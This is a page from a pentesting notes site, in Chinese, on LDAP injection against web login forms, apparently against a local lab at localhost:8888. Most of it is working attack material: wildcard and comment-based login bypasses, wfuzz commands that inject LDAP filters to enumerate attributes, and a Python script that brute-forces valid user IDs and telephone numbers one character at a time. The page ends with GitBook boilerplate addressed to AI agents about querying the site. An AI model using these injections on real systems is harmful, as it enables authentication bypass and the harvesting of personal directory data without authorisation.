> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/lightweight-directory-access-protocol-ldap-attack/ldap-techniques-pentesting-web.md).
# LDAP 技术
以下是利用此漏洞的一些方法：
1. 通过知道 **用户 ID** 并使用符号 /\* 作为密码（它代表所有内容）：
2. 通过知道 **用户 ID 的开头** 然后再添加符号 /\*：
3. 通过输入一个 **有效的用户 ID** 并将密码查询的必填字段注释掉：
## 暴力破解攻击：
* 使用 **Wfuzz**，我们可以通过以下方式发起攻击： **暴力破解** 以识别所有 **属性**:
```bash
wfuzz -c --hh=550 -w /usr/share/SecLists/Fuzzing/LDAP-openldap-attributes.txt -d 'user_id=admin)(FUZZ=*))%00&password=*&login=1&submit=Submit' http://localhost:8888
```
一旦我们通过 **Wfuzz** 并识别 **LDAP** 密码字段中的注入点，我们可以按首字符进行筛选。在这种情况下，我们使用 **电话号码**:
```bash
wfuzz -c --hh=550 -z range,0-9 -d 'user_id=jordan)(telephoneNumber=FUZZ*))%00&password=*&login=1&submit=Submit' http://localhost:8888
```
## 自动化 Python 脚本：
```python
#!/usr/bin/python3
from pwn import *
import sys, signal, time, requests, pdb
import string
def def_handler(sig, frame):
print("/n/n[+] 正在退出.../n")
sys.exit(1)
# LDAP 技术
signal.signal(signal.SIGINT, def_handler)
# LDAP 技术
main_url = "http://localhost:8888/"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
def initial_users():
characters = string.ascii_lowercase
initial_users = []
for character in characters:
post_data = 'user_id={}*&password=*&login=1&submit=Submit'.format(character)
r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
if r.status_code == 301:
initial_users.append(character)
return initial_users
def getUsers(initial_users):
characters = string.ascii_lowercase + string.digits
users = []
for initial_user in initial_users:
user = initial_user
for i in range(0, 15):
for character in characters:
post_data = 'user_id={}{}*&password=*&login=1&submit=Submit'.format(user, character)
r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
if r.status_code == 301:
user += character
break
users.append(user)
print("/n")
for user in users:
log.info('发现有效用户：%s' % user)
print("/n")
return users
def getTelephoneNumber(users):
characters = string.digits
telephone_numbers = []
p1 = log.progress("正在从本地 LDAP 获取电话号码")
p1.status("开始暴力破解")
p2 = log.progress("正在获取电话号码")
for user in users:
telf = ''
for i in range(0, 9):
for character in characters:
post_data = 'user_id={})(telephoneNumber={}{}*))%00&password=testing&login=1&submit=Submit'.format(user, telf, character)
r = requests.post(main_url, data=post_data, headers=headers, allow_redirects=False)
p1.status("[+] 正在为用户获取电话号码：%s | %s" % (user, post_data))
if r.status_code == 301:
telf += character
p2.status("电话号码：%s" % telf)
break
telephone_numbers.append(telf)
p2.success("获取到的号码有：%s " % telephone_numbers)
if __name__ == "__main__":
initial_users = initial_users()
getUsers = getUsers(initial_users)
getTelephoneNumber = getTelephoneNumber(getUsers)
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/lightweight-directory-access-protocol-ldap-attack/ldap-techniques-pentesting-web.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.